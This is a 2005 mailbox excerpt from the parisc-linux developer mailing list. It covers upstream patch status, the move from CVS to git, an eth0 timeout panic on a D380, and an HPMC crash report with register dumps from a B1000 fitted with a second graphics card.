X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 45UNYxUseSEkTb6WZHQhaXN1IGRvb4Br
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23210

On Sat, Nov 19, 2005 at 11:42:59AM -0500, Kyle McMartin wrote:
> So, the following went upstream to Linus yesterday:
> 
> 	68K     linus_to_parisc_2.diff
> 
> Shortlog and diffstat are contained below.

That's awesome!

> Approximate remaining bits,
> 
> 	100K    parisc_remainingish.diff

dude! That's even more awesome! :)

> 	-rw-r--r--  1 kyle kyle 3676 Nov 19 11:41 tulip
> 		(tulip modifications)

Tulips patches are mine and will likely remain mine.
akpm has them in his tree but jgarzik has neither signed them off
nor managed to get someone else to fix the issues to his liking.
This stale mate has been going on for, oh, maybe 3 years now with me
and for almost a year with akpm.

> The rest of the diff is primarily small little hacks and a few things
> that need to be resolved with subsystem maintainers. For example,
> James' fixes for pcmcia, and Grant's fixes for usb hid.

ugh. I'm pretty sure I posted the usb hid changes to the usb devel list.
If you point me at the diff, I'll repost it to USB devel to get a response.

Might ask Arnaldo De Carmelo if he could drive the PCMCIA changes back
to the maintainers....he's done that before.

kudos and thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Migrating from CVS to Git
Date: Mon, 21 Nov 2005 22:27:26 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20051122032726.GA9450@tachyon.int.mcmartin.ca>
References: <20051121165411.GF1598@parisc-linux.org>
	<20051121222522.GB25773@colo.lackof.org>
	<20051122031619.GJ1598@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623940 16933 80.91.229.3 (22 Nov 2014 02:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Nov 2005 03:28:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 22 Nov 2005 04:28:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16C557D6D6;
	Mon, 21 Nov 2005 20:28:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03460-10; Mon, 21 Nov 2005 20:28:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D68387D6C8;
	Mon, 21 Nov 2005 20:28:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CAE77D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 20:28:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03451-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 20:28:27 -0700 (MST)
Original-Received: from fattire.cabal.ca (unknown [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 698A17D692
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 20:28:27 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id DC0A817088
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 22:28:00 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27322-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Nov 2005 22:28:00 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5B7571708B; Mon, 21 Nov 2005 22:28:00 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-582984831-52656d6f746546617454697265-494e424f582e4f7574626f78: 1132630083-0268317319251-v4.0.11
Content-Disposition: inline
In-Reply-To: <20051122031619.GJ1598@parisc-linux.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MPXwY7NIeSEkc76WZHQhaXN1IGRvb4Dp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23211

On Mon, Nov 21, 2005 at 08:16:19PM -0700, Matthew Wilcox wrote:
> > >  - Autobuilding.  This can change slightly as a result of how different
> > >    tagging is.  Do we want to just build every time there's a commit?
> > 
> > Something that anyone who has write access can trigger.
> > Just need to make sure we "commit" sets properly.
> > Will the Makefile commit will no longer trigger the auto-builder?
> 
> I was hoping we'd no longer have to do Makefile commits.  Maybe we still
> want to, though?
>

I dunno, maybe it would be easier to just manually thunk the autobuilder
with a commit id whenever we feel it's justified, and let the autobuilder
worry about the incrementing -pa numbers? There's an embedded CONFIG 
option that will embed the commit sha1sum in the kernel version, turning
this on in defconfigs would be good for everyone who pulls our tree
from git. 

Btw, if no one has used it yet, the git bisect stuff is pretty darn
cool.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] d380: latest eth0: command unit timed out, status 
	resetting (seems to made panicing)
Date: Thu, 24 Nov 2005 07:51:59 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <IQG5QN$2C2E1AB431EA3CD2CAD4F66075F38C18@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623940 16935 80.91.229.3 (22 Nov 2014 02:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:00 +0000 (UTC)
Cc: tsg45800 <tsg45800@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 matthew <matthew@wil.cx>
To: "soete.joel" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Nov 2005 06:52:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 24 Nov 2005 07:52:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B94457D67C;
	Wed, 23 Nov 2005 23:52:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17732-05; Wed, 23 Nov 2005 23:52:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C26127D67D;
	Wed, 23 Nov 2005 23:52:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FBAE7D678
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Nov 2005 23:52:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17732-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Nov 2005 23:52:16 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 2F0737D673
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 Nov 2005 23:52:16 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id jAO6pwN01849; 
	Thu, 24 Nov 2005 07:51:58 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fQb3Yx8weSEkTb6WZHQhaXN1IGRvb8Bd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23212

> [...]
> > > 
> > > Difficult to analyse as it seems erratic.
> > Not any more true ;<(
> > 
> > Because of change of fw rules, I don't have any more cvs access ;<(, =
also I
> > grab the tarball on p-l.org. When I 'scp linux-xxx D380NAME', after s=
ome 4Mb
> > the same behaviour: 
> >     1/ "eth0: command unit timed out, status resetting." appears at c=
ons
> >     2/ a short time after the system panics.
> > 
> weird, this 'scp linux-xxx D380NAME' pb doesn't _seem_ to re-occure wit=
h same
> system runing this time 2.6.15-rc2-pa1 (always 32bit up)??
> 
Pb not solved: occures today again :<( (couldn't just reproduced with sim=
ple test)

Joel=0A=0A-------------------------------------------------------=0ANOTE!=
 My email address is changing to ... @scarlet.be=0APlease make the necess=
ary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] add link to the view GIT page on kernel.org
Date: Sat, 26 Nov 2005 05:34:41 -0500
Organization: wh0rd.org
Lines: 14
Approved: news@gmane.org
Message-ID: <200511260534.41350.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623940 16941 80.91.229.3 (22 Nov 2014 02:39:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Nov 2005 10:32:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 26 Nov 2005 11:32:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 759597D66C;
	Sat, 26 Nov 2005 03:32:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31196-05; Sat, 26 Nov 2005 03:32:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8842D7D66E;
	Sat, 26 Nov 2005 03:32:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6077E7D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Nov 2005 03:32:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31196-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Nov 2005 03:32:48 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id C5E547D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Nov 2005 03:32:48 -0700 (MST)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1EfxMO-0000Gj-0R
	for parisc-linux@lists.parisc-linux.org; Sat, 26 Nov 2005 10:32:48 +0000
Original-Received: (qmail 31247 invoked from network); 26 Nov 2005 05:27:13 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 26 Nov 2005 05:27:13 -0500
User-Agent: KMail/1.8.3
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i1z6YwI1eSEkfr6WZHQhaXN1IGRvbwDK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23213

be nice if this page:
http://www.parisc-linux.org/faq/git.html

contained a link to the viewgit page:
http://www.kernel.org/git/?p=linux/kernel/git/kyle/parisc-2.6.git

cause then i wouldnt have to go search for it :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Klinger <th.klinger@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FLT CBFB on B1000 when accessing second graphics card
Date: Wed, 30 Nov 2005 15:21:17 +0100
Lines: 198
Approved: news@gmane.org
Message-ID: <a4743ac50511300621i1f7ed34eq@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623941 16943 80.91.229.3 (22 Nov 2014 02:39:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2005 14:21:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 30 Nov 2005 15:21:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98C947D662;
	Wed, 30 Nov 2005 07:21:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02708-05; Wed, 30 Nov 2005 07:21:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F6F97D664;
	Wed, 30 Nov 2005 07:21:29 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81C5C7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 07:21:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02712-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 07:21:18 -0700 (MST)
Original-Received: from xproxy.gmail.com (xproxy.gmail.com [66.249.82.201])
	by free.linux.hp.com (Postfix) with ESMTP id C2CAD7D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 07:21:18 -0700 (MST)
Original-Received: by xproxy.gmail.com with SMTP id t10so19965wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Nov 2005 06:21:18 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=ELPb3NEDmTSRC6BZFkXfLGiiuSLzAoM6cfNzEmhImI6wZmAkF6saJjo06GVHscRpRHNfe8mDtFXLkeVjsbMbi/3rb1EWE/Gy3nCnJ89ysmnL77kG7cM2z+C+gHXA6MO9l/foaFzAFSNsQjskjw1SIl0vSUDCrjb6hz24ikt18Y0=
Original-Received: by 10.70.87.16 with SMTP id k16mr242211wxb;
	Wed, 30 Nov 2005 06:21:17 -0800 (PST)
Original-Received: by 10.70.6.10 with HTTP; Wed, 30 Nov 2005 06:21:17 -0800 (PST)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OND/Y3gLeSEkfL6WZHQhaXN1IGRvbwAc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23214

Hi,

I'm trying to setup Debian 3.1r0a (sarge) on a B1000 with two graphics
card. The first one is the original A4977A Visualize EG rev. 03, as
more powerful display card for the graphical desktop we installed a
Matrox Millenium II with 2MB RAM. We inserted the card at slot number
5, the first 32-bit slot for PCI devices and marked as secondary
graphic card slot.

Now, the setup and everything else went through smoothly, even the
first setup of the X server using the original display card went
pretty fine, but only with 8-bit colors. That's why we built in the
Matrox card. It is recognized by the system and displayed using lspci.

What comes now is that if we try to start the X server using the
second card the system switches the card and immediatly fails with the
error code FLT CBFB (shown in the front LCD display).

I posted the symptom to debian-hppa and was then forwared by Grant
Grundler to this mailing list to post my concern.

The goal of the system is to boot the system with the original card
(as is does already), but use the secondary card (Matrox in that case)
as display for the desktop environment in 16-bit colors, at least.

Here are the required informations like kernel version, used hardware
and hex dump of HPMC:

Kernel version: 2.6.8-2-32-smp #1 SMP parisc GNU/Linux (Debian 3.1r0a)
Hardware: HP Visualize 9000/785/B1000
Remote card: no
Graphical console in use
Palo command line: 2/vmlinux root=3D/dev/sda7 initrd=3D2/initrd.img HOME=3D=
/
Kernel is 32-bit (according the versioning, not modified or self-compiled)

Register dumps:
PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information -----------------

Timestamp =3D
  Mon Nov  28 16:24:09 GMT 2005    (20: 05: 11: 28: 16: 24: 09)

HPMC Chassis Codes =3D 2cbd0  2500b  2cbfb

General Registers 0 - 31
00-03   0000000000000000  0000000000822218  000000000027da2b  000000000085e=
9a8
04-07   0000000000000ff1  0000000040158ff1  0000000000000001  000000000085e=
9a8
08-11   00000000006ed000  000000000085e9a8  0000000000000000  0000000000000=
002
12-15   00000000007c2a18  00000000006e4800  00000000008485f0  00000000bff00=
168
16-19   00000000007c7218  0000000000000005  0000000000000002  0000000049814=
a58
20-23   0000000040158000  0000000000000001  0000000000000005  0000000000000=
001
24-27   0000000000000001  0000000040158ff1  000000000085e9a8  00000000007af=
a18
28-31   000000000085e9a8  0000000000000151  00000000bff10800  000000004079d=
dbf

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000=
000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000=
000
08-11   0000000000001f4c  0000000000000000  00000000000000c0  0000000000000=
01b
12-15   0000000000000000  0000000000000000  0000000000110000  00000000fe000=
000
16-19   0000004a72fabf1c  0000000000000fa6  000000004073fba3  000000000ca01=
014
20-23   00000000a607ffe4  4000000005d58ff1  000000000006000f  0000000080000=
000
24-27   00000000003eb000  000000001c82c000  00000000ffffffff  00000000fffff=
fff
28-31   00000000ffffffff  00000000ffffffff  000000002c5dc000  0000000010468=
000
Space Registers 0 - 7

00-03   00000000          00000fa6          00000000          00000fa6
04-07   00000fa6          00000fa6          00000fa6          00000fa6

IIA Space                    =3D 0x0000000000000fa6
IIA Offset                   =3D 0x000000004073fba7
Check Type                   =3D 0x20000000
CPU State                    =3D 0x9e000004
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x0030103b
Assist Check                 =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x000000fff9017ff1
System Requestor Address     =3D 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000=
000
04-07   4084d00000000000  101313a4101ad880  2fad014b00000001  0000000000000=
000
08-11   2faede4000000002  2faea00000000002  00000000103f11d0  10934058103f1=
000
12-15   2faeeab800000002  2faea00000000002  0000000010468000  0000000010109=
448
16-19   0000000f103f22e0  0000000f103f22e0  0000000000000000  0000000100000=
01f
20-23   f0000174f000017c  1046f8101018d340  0000000000000013  0000001300000=
000
24-27   0000000100000000  3fe0000000000000  412e848000000000  000000002edd3=
57c
28-31   2f4eea202fae9bc0  00000000101a8ccc  000000001048b810  109340673b9ac=
a00


=B49000/785 B,C,J Workstation Unarchitected (per-CPU)=B4, rev 1, 140 bytes:

Check Summary                =3D 0xcb81041008000000
Available Memory             =3D 0x0000000020000000
CPU Diagnose Register 2      =3D 0x0201000000000004
CPU Status Register 0        =3D 0x2420c20000000000
CPU Status Register 1        =3D 0x8002000000000000
SADD LOG                     =3D 0x00c0000000000000
Read Short LOG               =3D 0xc18400fff9017ff1
ERROR_STATUS                 =3D 0x0000000000100010
MEM_ADDR                     =3D 0x000001ff3fffffff
MEM_SYND                     =3D 0x0000000000000000
MEM_ADDR_CORR                =3D 0x000001ff3fffffff
MEM_SYND_CORR                =3D 0x0000000000000000
RUN_DATA_HIGH                =3D 0xc1bff0fffed08040
RUN_DATA_LOW                 =3D 0xc1bff0fffed08040
RUN_CTRL                     =3D 0x0000021c00001418
RUN_ADDR                     =3D 0xc1bff0fffed08040
System Responder Path        =3D 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp =3D
  Mon Nov  28 16:24:09 GMT 2005    (20:05:11:28:16:24:09)


=B49000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)=B4, rev 0, 1304 b=
ytes:

A Data I/O Fetch Timeout occured while CPU 0 was
requesting information from a device with the address 0xfff9017ff1.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observerd the Broadcast Error.  It did not lo=
g
any additional information about the HPMC.

(LPMC Information: everything's 0)

Memory Error Log Information:

No memory errors logged

I/O Module Error Log Information:


Timestamp =3D
  Mon Nov  28 16:24:09 GMT 2005    (20:05:11:28:16:24:09)


=B49000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)=B4, rev 0, 228 by=
tes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x0003e000   0x1e0cc009   0x00000000f9017ff0
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x3e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------

System.map: http://www.badongo.com/file.php?file=3DSystem.map+B1000__2005-1=
1-30_System.map.bz2

I hope the information I provided is quite near what you expected to
get reported.

Regards, Thomas
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
